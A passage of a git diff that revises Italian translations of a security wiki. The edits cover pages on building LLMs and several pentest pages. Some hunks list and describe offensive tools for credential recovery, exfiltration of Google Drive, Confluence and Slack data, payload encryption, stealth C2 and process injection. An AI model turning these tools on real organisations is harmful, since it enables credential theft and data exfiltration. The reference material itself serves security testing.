nell'eseguire **più istanze** della funzione di auto-attenzione, ognuna con **i propri pesi**, in modo che vengano calcolati vettori finali diversi. ### Esempio di Codice -Potrebbe essere possibile riutilizzare il codice precedente e aggiungere semplicemente un wrapper che lo lancia più volte, ma questa è una versione più ottimizzata da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) che elabora tutte le teste contemporaneamente (riducendo il numero di costose iterazioni for). Come puoi vedere nel codice, le dimensioni di ciascun token sono suddivise in diverse dimensioni in base al numero di teste. In questo modo, se un token ha 8 dimensioni e vogliamo utilizzare 3 teste, le dimensioni saranno suddivise in 2 array di 4 dimensioni e ciascuna testa utilizzerà uno di essi: +Potrebbe essere possibile riutilizzare il codice precedente e aggiungere solo un wrapper che lo lancia più volte, ma questa è una versione più ottimizzata da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) che elabora tutte le teste contemporaneamente (riducendo il numero di costose iterazioni for). Come puoi vedere nel codice, le dimensioni di ciascun token sono suddivise in diverse dimensioni in base al numero di teste. In questo modo, se un token ha 8 dimensioni e vogliamo utilizzare 3 teste, le dimensioni saranno suddivise in 2 array di 4 dimensioni e ciascuna testa utilizzerà uno di essi: ```python class MultiHeadAttention(nn.Module): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): @@ -404,12 +404,12 @@ print(context_vecs) print("context_vecs.shape:", context_vecs.shape) ``` -Per un'altra implementazione compatta ed efficiente, puoi utilizzare la [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) classe in PyTorch. +Per un'implementazione compatta ed efficiente, puoi utilizzare la classe [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) in PyTorch. > [!TIP] > Risposta breve di ChatGPT su perché è meglio dividere le dimensioni dei token tra le teste invece di far controllare a ciascuna testa tutte le dimensioni di tutti i token: > -> Sebbene consentire a ciascuna testa di elaborare tutte le dimensioni di embedding possa sembrare vantaggioso perché ogni testa avrebbe accesso a tutte le informazioni, la pratica standard è **dividere le dimensioni di embedding tra le teste**. Questo approccio bilancia l'efficienza computazionale con le prestazioni del modello e incoraggia ciascuna testa ad apprendere rappresentazioni diverse. Pertanto, dividere le dimensioni di embedding è generalmente preferito rispetto a far controllare a ciascuna testa tutte le dimensioni. +> Sebbene consentire a ciascuna testa di elaborare tutte le dimensioni di embedding possa sembrare vantaggioso perché ogni testa avrebbe accesso a tutte le informazioni, la pratica standard è **dividere le dimensioni di embedding tra le teste**. Questo approccio bilancia l'efficienza computazionale con le prestazioni del modello e incoraggia ciascuna testa a imparare rappresentazioni diverse. Pertanto, dividere le dimensioni di embedding è generalmente preferito rispetto a far controllare a ciascuna testa tutte le dimensioni. ## References diff --git a/src/todo/llm-training-data-preparation/5.-llm-architecture.md b/src/todo/llm-training-data-preparation/5.-llm-architecture.md index 714973062..91e56fcfb 100644 --- a/src/todo/llm-training-data-preparation/5.-llm-architecture.md +++ b/src/todo/llm-training-data-preparation/5.-llm-architecture.md @@ -14,14 +14,14 @@ Una rappresentazione ad alto livello può essere osservata in:

https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31

1. **Input (Testo Tokenizzato)**: Il processo inizia con testo tokenizzato, che viene convertito in rappresentazioni numeriche. -2. **Layer di Embedding dei Token e Layer di Embedding Posizionale**: Il testo tokenizzato viene passato attraverso un **layer di embedding dei token** e un **layer di embedding posizionale**, che cattura la posizione dei token in una sequenza, fondamentale per comprendere l'ordine delle parole. +2. **Layer di Embedding dei Token e di Embedding Posizionale**: Il testo tokenizzato passa attraverso un **layer di embedding dei token** e un **layer di embedding posizionale**, che cattura la posizione dei token in una sequenza, fondamentale per comprendere l'ordine delle parole. 3. **Blocchi Transformer**: Il modello contiene **12 blocchi transformer**, ciascuno con più livelli. Questi blocchi ripetono la seguente sequenza: - **Attenzione Multi-Testa Mascherata**: Consente al modello di concentrarsi su diverse parti del testo di input contemporaneamente. -- **Normalizzazione del Livello**: Un passaggio di normalizzazione per stabilizzare e migliorare l'addestramento. +- **Normalizzazione del Livello**: Un passo di normalizzazione per stabilizzare e migliorare l'addestramento. - **Layer Feed Forward**: Responsabile dell'elaborazione delle informazioni dal layer di attenzione e della formulazione di previsioni sul token successivo. - **Layer di Dropout**: Questi layer prevengono l'overfitting eliminando casualmente unità durante l'addestramento. -4. **Layer di Output Finale**: Il modello produce un **tensore di dimensione 4x50,257**, dove **50,257** rappresenta la dimensione del vocabolario. Ogni riga in questo tensore corrisponde a un vettore che il modello utilizza per prevedere la parola successiva nella sequenza. -5. **Obiettivo**: L'obiettivo è prendere questi embedding e convertirli di nuovo in testo. In particolare, l'ultima riga dell'output viene utilizzata per generare la parola successiva, rappresentata come "avanti" in questo diagramma. +4. **Layer di Output Finale**: Il modello produce un **tensore di dimensione 4x50,257**, dove **50,257** rappresenta la dimensione del vocabolario. Ogni riga in questo tensore corrisponde a un vettore che il modello utilizza per prevedere la prossima parola nella sequenza. +5. **Obiettivo**: L'obiettivo è prendere questi embedding e convertirli di nuovo in testo. In particolare, l'ultima riga dell'output viene utilizzata per generare la prossima parola, rappresentata come "forward" in questo diagramma. ### Rappresentazione del Codice ```python @@ -211,7 +211,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) * #### **Scopo e Funzionalità** - **GELU (Gaussian Error Linear Unit):** Una funzione di attivazione che introduce non linearità nel modello. -- **Attivazione Liscia:** A differenza di ReLU, che annulla gli input negativi, GELU mappa dolcemente gli input sugli output, consentendo valori piccoli e diversi da zero per gli input negativi. +- **Attivazione Liscia:** A differenza di ReLU, che annulla gli input negativi, GELU mappa gli input agli output in modo fluido, consentendo valori piccoli e diversi da zero per gli input negativi. - **Definizione Matematica:**
@@ -221,7 +221,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) * ### **Rete Neurale FeedForward** -_I formati sono stati aggiunti come commenti per comprendere meglio le forme delle matrici:_ +_Le forme sono state aggiunte come commenti per comprendere meglio le forme delle matrici:_ ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class FeedForward(nn.Module): @@ -244,7 +244,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) #### **Scopo e Funzionalità** - **Rete FeedForward a livello di posizione:** Applica una rete completamente connessa a due strati a ciascuna posizione separatamente e in modo identico. -- **Dettagli del Livello:** +- **Dettagli del livello:** - **Primo Livello Lineare:** Espande la dimensionalità da `emb_dim` a `4 * emb_dim`. - **Attivazione GELU:** Applica non linearità. - **Secondo Livello Lineare:** Riduce la dimensionalità di nuovo a `emb_dim`. @@ -297,7 +297,7 @@ return self.scale * norm_x + self.shift - **`scale` e `shift`:** Parametri apprendibili (`nn.Parameter`) che consentono al modello di scalare e spostare l'output normalizzato. Sono inizializzati a uno e zero, rispettivamente. - **Processo di Normalizzazione:** - **Calcola Media (`mean`):** Calcola la media dell'input `x` attraverso la dimensione di embedding (`dim=-1`), mantenendo la dimensione per il broadcasting (`keepdim=True`). -- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anche la dimensione. Il parametro `unbiased=False` garantisce che la varianza venga calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni. +- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anch'essa la dimensione. Il parametro `unbiased=False` garantisce che la varianza venga calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni. - **Normalizza (`norm_x`):** Sottrae la media da `x` e divide per la radice quadrata della varianza più `eps`. - **Scala e Sposta:** Applica i parametri apprendibili `scale` e `shift` all'output normalizzato. @@ -439,12 +439,12 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) - **Dropout (`drop_emb`):** Applicato agli embedding per la regolarizzazione. - **Transformer Blocks (`trf_blocks`):** Stack di `n_layers` blocchi transformer per elaborare gli embedding. - **Normalizzazione Finale (`final_norm`):** Normalizzazione dello strato prima dello strato di output. -- **Output Layer (`out_head`):** Proietta gli stati nascosti finali alla dimensione del vocabolario per produrre logit per la previsione. +- **Output Layer (`out_head`):** Proietta gli stati nascosti finali alla dimensione del vocabolario per produrre logits per la previsione. > [!NOTE] > L'obiettivo di questa classe è utilizzare tutte le altre reti menzionate per **prevedere il prossimo token in una sequenza**, fondamentale per compiti come la generazione di testo. > -> Nota come utilizzerà **tanti blocchi transformer quanto indicato** e che ogni blocco transformer utilizza una rete di attenzione multi-testa, una rete feed forward e diverse normalizzazioni. Quindi, se vengono utilizzati 12 blocchi transformer, moltiplica questo per 12. +> Nota come utilizzerà **tanti blocchi transformer quanto indicato** e che ogni blocco transformer utilizza una rete di attivazione multi-testa, una rete feed forward e diverse normalizzazioni. Quindi, se vengono utilizzati 12 blocchi transformer, moltiplica questo per 12. > > Inoltre, uno strato di **normalizzazione** è aggiunto **prima** dell'**output** e uno strato lineare finale è applicato alla fine per ottenere i risultati con le dimensioni appropriate. Nota come ogni vettore finale abbia la dimensione del vocabolario utilizzato. Questo perché sta cercando di ottenere una probabilità per ogni possibile token all'interno del vocabolario. diff --git a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md index ea049dccb..753b2b652 100644 --- a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md @@ -3,7 +3,7 @@ ## Miglioramenti LoRA > [!TIP] -> L'uso di **LoRA riduce notevolmente il calcolo** necessario per **fine-tuning** modelli già addestrati. +> L'uso di **LoRA riduce notevolmente il calcolo** necessario per **fine-tunare** modelli già addestrati. LoRA rende possibile il fine-tuning di **grandi modelli** in modo efficiente cambiando solo una **piccola parte** del modello. Riduce il numero di parametri che devi addestrare, risparmiando **memoria** e **risorse computazionali**. Questo perché: @@ -14,7 +14,7 @@ LoRA rende possibile il fine-tuning di **grandi modelli** in modo efficiente cam
2. **Mantiene Invariati i Pesi del Modello Originale**: LoRA ti consente di mantenere i pesi del modello originale invariati e aggiorna solo le **nuove piccole matrici** (A e B). Questo è utile perché significa che la conoscenza originale del modello è preservata e modifichi solo ciò che è necessario. -3. **Fine-Tuning Efficiente per Compiti Specifici**: Quando vuoi adattare il modello a un **nuovo compito**, puoi semplicemente addestrare le **piccole matrici LoRA** (A e B) lasciando il resto del modello com'è. Questo è **molto più efficiente** rispetto al riaddestramento dell'intero modello. +3. **Fine-Tuning Efficiente Specifico per Compiti**: Quando vuoi adattare il modello a un **nuovo compito**, puoi semplicemente addestrare le **piccole matrici LoRA** (A e B) lasciando il resto del modello com'è. Questo è **molto più efficiente** rispetto a riaddestrare l'intero modello. 4. **Efficienza di Archiviazione**: Dopo il fine-tuning, invece di salvare un **nuovo modello intero** per ogni compito, devi solo memorizzare le **matrici LoRA**, che sono molto piccole rispetto all'intero modello. Questo rende più facile adattare il modello a molti compiti senza utilizzare troppo spazio di archiviazione. Per implementare LoraLayers invece di quelli Lineari durante un fine-tuning, questo codice è proposto qui [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): diff --git a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md index e20c3338c..9c0b43480 100644 --- a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md @@ -59,13 +59,13 @@ Poi, è necessario raggruppare tutti gli input e gli output attesi per l'addestr - Aggiungere padding a tutti i campioni alla stessa lunghezza (di solito la lunghezza sarà grande quanto la lunghezza del contesto utilizzato per pre-addestrare il LLM) - Creare i token attesi spostando di 1 l'input in una funzione di collate personalizzata - Sostituire alcuni token di padding con -100 per escluderli dalla perdita di addestramento: Dopo il primo token `endoftext`, sostituire tutti gli altri token `endoftext` con -100 (perché usare `cross_entropy(...,ignore_index=-100)` significa che ignorerà i target con -100) -- \[Opzionale\] Mascherare usando -100 anche tutti i token appartenenti alla domanda in modo che il LLM impari solo a generare la risposta. Nello stile Apply Alpaca questo significherà mascherare tutto fino a `### Response:` +- \[Opzionale] Mascherare usando -100 anche tutti i token appartenenti alla domanda in modo che il LLM impari solo a generare la risposta. Nello stile Apply Alpaca questo significherà mascherare tutto fino a `### Response:` Con questo creato, è tempo di creare i data loader per ciascun dataset (addestramento, validazione e test). ## Load pre-trained LLM & Fine tune & Loss Checking -È necessario caricare un LLM pre-addestrato per affinarlo. Questo è già stato discusso in altre pagine. Poi, è possibile utilizzare la funzione di addestramento precedentemente utilizzata per affinare il LLM. +È necessario caricare un LLM pre-addestrato per affinare. Questo è già stato discusso in altre pagine. Poi, è possibile utilizzare la funzione di addestramento precedentemente utilizzata per affinare il LLM. Durante l'addestramento è anche possibile vedere come la perdita di addestramento e la perdita di validazione variano durante le epoche per vedere se la perdita si sta riducendo e se si sta verificando overfitting.\ Ricorda che l'overfitting si verifica quando la perdita di addestramento si sta riducendo ma la perdita di validazione non si sta riducendo o addirittura aumentando. Per evitare questo, la cosa più semplice da fare è fermare l'addestramento all'epoca in cui inizia questo comportamento. diff --git a/src/todo/llm-training-data-preparation/README.md b/src/todo/llm-training-data-preparation/README.md index 9c2e7b103..937017fa8 100644 --- a/src/todo/llm-training-data-preparation/README.md +++ b/src/todo/llm-training-data-preparation/README.md @@ -32,7 +32,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti > [!TIP] > L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario sarà un punto in uno spazio di X dimensioni.\ -> Nota che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "randomicamente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento). +> Nota che inizialmente la posizione di ogni parola nello spazio è semplicemente inizializzata "randomicamente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento). > > Inoltre, durante l'embedding dei token **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione (significato) diversa. @@ -43,3 +43,56 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti ## 4. Attention Mechanisms > [!TIP] +> L'obiettivo di questa quarta fase è molto semplice: **Applicare alcuni meccanismi di attenzione**. Questi saranno molti **layer ripetuti** che andranno a **catturare la relazione di una parola nel vocabolario con i suoi vicini nella frase attuale utilizzata per addestrare il LLM**.\ +> Vengono utilizzati molti layer per questo, quindi molti parametri addestrabili andranno a catturare queste informazioni. + +{{#ref}} +4.-attention-mechanisms.md +{{#endref}} + +## 5. LLM Architecture + +> [!TIP] +> L'obiettivo di questa quinta fase è molto semplice: **Sviluppare l'architettura del LLM completo**. Metti tutto insieme, applica tutti i layer e crea tutte le funzioni per generare testo o trasformare testo in IDs e viceversa. +> +> Questa architettura sarà utilizzata sia per l'addestramento che per la previsione del testo dopo che è stato addestrato. + +{{#ref}} +5.-llm-architecture.md +{{#endref}} + +## 6. Pre-training & Loading models + +> [!TIP] +> L'obiettivo di questa sesta fase è molto semplice: **Addestrare il modello da zero**. Per questo verrà utilizzata l'architettura LLM precedente con alcuni cicli sui dataset utilizzando le funzioni di perdita e l'ottimizzatore definiti per addestrare tutti i parametri del modello. + +{{#ref}} +6.-pre-training-and-loading-models.md +{{#endref}} + +## 7.0. LoRA Improvements in fine-tuning + +> [!TIP] +> L'uso di **LoRA riduce notevolmente il calcolo** necessario per **ottimizzare** modelli già addestrati. + +{{#ref}} +7.0.-lora-improvements-in-fine-tuning.md +{{#endref}} + +## 7.1. Fine-Tuning for Classification + +> [!TIP] +> L'obiettivo di questa sezione è mostrare come ottimizzare un modello già pre-addestrato in modo che, invece di generare nuovo testo, il LLM fornisca le **probabilità che il testo fornito venga categorizzato in ciascuna delle categorie date** (come se un testo fosse spam o meno). + +{{#ref}} +7.1.-fine-tuning-for-classification.md +{{#endref}} + +## 7.2. Fine-Tuning to follow instructions + +> [!TIP] +> L'obiettivo di questa sezione è mostrare come **ottimizzare un modello già pre-addestrato per seguire istruzioni** piuttosto che semplicemente generare testo, ad esempio, rispondendo a compiti come un chatbot. + +{{#ref}} +7.2.-fine-tuning-to-follow-instructions.md +{{#endref}} diff --git a/src/todo/more-tools.md b/src/todo/more-tools.md index d616a2e72..9b0b647ce 100644 --- a/src/todo/more-tools.md +++ b/src/todo/more-tools.md @@ -45,7 +45,7 @@ - [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Scansione rapida delle porte - [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Sottodomini e URL da file JS in un web - [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Dizionario di file web -- [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : BurpExtension per evitare dozzine di schede ripetute +- [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : BurpExtension per evitare dozzine di schede ripetitore - [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Ottieni risorse - [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks - [https://github.com/sehno/Bug-bounty/blob/master/bugbounty_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty_checklist.md) : Checklist per BugBounty web @@ -55,23 +55,23 @@ - [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Plugin BurpSuite per trovare vulnerabilità (SQLi, XSS, SSTI) - [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Estensione Chrome per tracciare le funzioni di post-messaggi - [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Test automatici di autenticazione (rimuovi i cookie e prova a inviare la richiesta) -- [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross è uno strumento di ricostruzione, scanner e per test di penetrazione / BugBounty. Questo strumento è stato costruito per testare vulnerabilità (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) +- [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross è uno strumento di ricostruzione, scanner e strumento per test di penetrazione / BugBounty. Questo strumento è stato costruito per testare vulnerabilità (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) # Windows - [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Movimenti laterali - [https://freddiebarrsmith.com/trix/trix.html](https://freddiebarrsmith.com/trix/trix.html) : LOL bins - [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Persistenza -- [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Tecniche di iniezione di processi Windows -- [https://github.com/BankSecurity/Red_Team](https://github.com/BankSecurity/Red_Team) : Script per Red Team +- [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Tecniche di iniezione di processo Windows +- [https://github.com/BankSecurity/Red_Team](https://github.com/BankSecurity/Red_Team) : Script Red Team - [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : trova configurazioni errate relative alla sicurezza in Active Directory Group Policy. -- [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Offuscamento di Securestring -- [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Spoofing del PID genitore +- [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Offuscamento Securestring +- [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Spoofing PID genitore - [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Cripta i payload di Powershell - [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : C2 stealth - [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Serie di log su Windows Internals - [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Traccia chi apre un documento -- [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Cheat Sheet per Active Directory +- [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Cheat Sheet di Active Directory # Firmware @@ -92,7 +92,7 @@ Ecco un firmware con vulnerabilità da analizzare: [https://github.com/scripting E qui la metodologia OWASP per analizzare firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm) -Emulazione del firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) è una piattaforma per automatizzare l'emulazione e l'analisi dinamica del firmware basato su Linux. +Emulazione firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) è una piattaforma per automatizzare l'emulazione e l'analisi dinamica di firmware basati su Linux. # OTHER diff --git a/src/todo/online-platforms-with-api.md b/src/todo/online-platforms-with-api.md index 6adff9e50..c36116e62 100644 --- a/src/todo/online-platforms-with-api.md +++ b/src/todo/online-platforms-with-api.md @@ -59,11 +59,11 @@ Hai un accesso gratuito. ## [fullcontact](https://www.fullcontact.com/) -Consente di cercare per email, dominio o nome dell'azienda e recuperare informazioni "personali" correlate. Può anche verificare email. C'è un accesso gratuito. +Permette di cercare per email, dominio o nome dell'azienda e recuperare informazioni "personali" correlate. Può anche verificare email. C'è un accesso gratuito. ## [RiskIQ](https://www.spiderfoot.net/documentation/) -Molte informazioni da domini e IP anche nella versione gratuita/comunitaria. +Molte informazioni su domini e IP anche nella versione gratuita/comunitaria. ## [\_IntelligenceX](https://intelx.io/) @@ -75,7 +75,7 @@ Cerca per IP e raccogli informazioni relative ad attività sospette. C'è un acc ## [Greynoise](https://viz.greynoise.io/) -Cerca per IP o intervallo di IP e ottieni informazioni sugli IP che scansionano Internet. 15 giorni di accesso gratuito. +Cerca per IP o intervallo di IP e ottieni informazioni sugli IP che scansionano Internet. Accesso gratuito per 15 giorni. ## [Shodan](https://www.shodan.io/) diff --git a/src/todo/post-exploitation.md b/src/todo/post-exploitation.md index d452fb0d3..e822607db 100644 --- a/src/todo/post-exploitation.md +++ b/src/todo/post-exploitation.md @@ -3,14 +3,14 @@ ## **Local l00t** - [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Questi script, oltre a cercare vettori PE, cercheranno informazioni sensibili all'interno del filesystem. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Il **progetto LaZagne** è un'applicazione open source utilizzata per **recuperare molte password** memorizzate su un computer locale. Ogni software memorizza le proprie password utilizzando tecniche diverse (testo semplice, API, algoritmi personalizzati, database, ecc.). Questo strumento è stato sviluppato con l'obiettivo di trovare queste password per il software più comunemente utilizzato. +- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Il **progetto LaZagne** è un'applicazione open source utilizzata per **recuperare molte password** memorizzate su un computer locale. Ogni software memorizza le proprie password utilizzando tecniche diverse (testo in chiaro, API, algoritmi personalizzati, database, ecc.). Questo strumento è stato sviluppato con l'obiettivo di trovare queste password per il software più comunemente utilizzato. ## **Servizi Esterni** - [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Questo modulo si connetterà all'API di Confluence utilizzando un token di accesso, esporterà in PDF e scaricherà i documenti di Confluence a cui il target ha accesso. - [**GD-Thief**](https://github.com/antman1p/GD-Thief): Strumento Red Team per esfiltrare file dal Google Drive di un target a cui hai (l'attaccante) accesso, tramite l'API di Google Drive. Questo include tutti i file condivisi, tutti i file da unità condivise e tutti i file da unità di dominio a cui il target ha accesso. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Strumento Red Team per esfiltrare il Google People Directory dell'organizzazione target a cui hai accesso, tramite l'API delle Persone di Google. +- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Strumento Red Team per esfiltrare il Google People Directory dell'organizzazione target a cui hai accesso, tramite l'API di Google People. - [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Questo è uno strumento sviluppato in Python che utilizza le API native di Slack per estrarre informazioni 'interessanti' da uno spazio di lavoro Slack dato un token di accesso. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound è uno strumento da riga di comando per i team rossi e blu per eseguire rapidamente ricognizioni su uno spazio di lavoro/organizzazione Slack. Slackhound rende la raccolta di utenti, file, messaggi, ecc. di un'organizzazione rapidamente ricercabile e grandi oggetti vengono scritti in CSV per una revisione offline. +- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound è uno strumento da riga di comando per i team rossi e blu per eseguire rapidamente ricognizioni su uno spazio di lavoro/organizzazione Slack. Slackhound rende la raccolta di utenti, file, messaggi, ecc. di un'organizzazione rapidamente ricercabile e oggetti di grandi dimensioni vengono scritti in CSV per una revisione offline. {{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md index bb5994653..2a30418c5 100644 --- a/src/todo/radio-hacking/fissure-the-rf-framework.md +++ b/src/todo/radio-hacking/fissure-the-rf-framework.md @@ -2,7 +2,7 @@ **Comprensione e Ingegneria Inversa dei Segnali SDR Indipendenti dalla Frequenza** -FISSURE è un framework open-source RF e di ingegneria inversa progettato per tutti i livelli di abilità, con hook per la rilevazione e classificazione dei segnali, scoperta dei protocolli, esecuzione degli attacchi, manipolazione IQ, analisi delle vulnerabilità, automazione e AI/ML. Il framework è stato costruito per promuovere l'integrazione rapida di moduli software, radio, protocolli, dati di segnale, script, grafi di flusso, materiale di riferimento e strumenti di terze parti. FISSURE è un abilitante del flusso di lavoro che mantiene il software in un'unica posizione e consente ai team di mettersi rapidamente al passo mentre condividono la stessa configurazione di base collaudata per specifiche distribuzioni Linux. +FISSURE è un framework open-source RF e di ingegneria inversa progettato per tutti i livelli di abilità, con hook per la rilevazione e classificazione dei segnali, scoperta dei protocolli, esecuzione degli attacchi, manipolazione IQ, analisi delle vulnerabilità, automazione e AI/ML. Il framework è stato costruito per promuovere l'integrazione rapida di moduli software, radio, protocolli, dati di segnale, script, grafici di flusso, materiale di riferimento e strumenti di terze parti. FISSURE è un abilitante del flusso di lavoro che mantiene il software in un'unica posizione e consente ai team di mettersi rapidamente al passo mentre condividono la stessa configurazione di base collaudata per specifiche distribuzioni Linux. Il framework e gli strumenti inclusi in FISSURE sono progettati per rilevare la presenza di energia RF, comprendere le caratteristiche di un segnale, raccogliere e analizzare campioni, sviluppare tecniche di trasmissione e/o iniezione e creare payload o messaggi personalizzati. FISSURE contiene una libreria in crescita di informazioni su protocolli e segnali per assistere nell'identificazione, creazione di pacchetti e fuzzing. Esistono capacità di archiviazione online per scaricare file di segnale e costruire playlist per simulare il traffico e testare i sistemi. @@ -33,7 +33,7 @@ Ci sono tre rami all'interno di FISSURE per rendere più facile la navigazione n **In Corso (beta)** -Questi sistemi operativi sono ancora in stato beta. Sono in fase di sviluppo e diverse funzionalità sono note per mancare. Gli elementi nell'installer potrebbero entrare in conflitto con programmi esistenti o non installarsi fino a quando lo stato non viene rimosso. +Questi sistemi operativi sono ancora in stato beta. Sono in fase di sviluppo e diverse funzionalità sono note per essere mancanti. Gli elementi nell'installer potrebbero entrare in conflitto con programmi esistenti o non installarsi fino a quando lo stato non viene rimosso. | Sistema Operativo | Ramo FISSURE | | :----------------------: | :-----------------: | @@ -62,7 +62,7 @@ Si consiglia di installare FISSURE su un sistema operativo pulito per evitare co ![install2](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install2.png) -**Utilizzo** +**Uso** Apri un terminale e inserisci: ``` @@ -84,9 +84,9 @@ Riferirsi al menu di aiuto di FISSURE per ulteriori dettagli sull'uso. **Capacità** -| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Rilevatore di Segnali**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**Manipolazione IQ**_ | 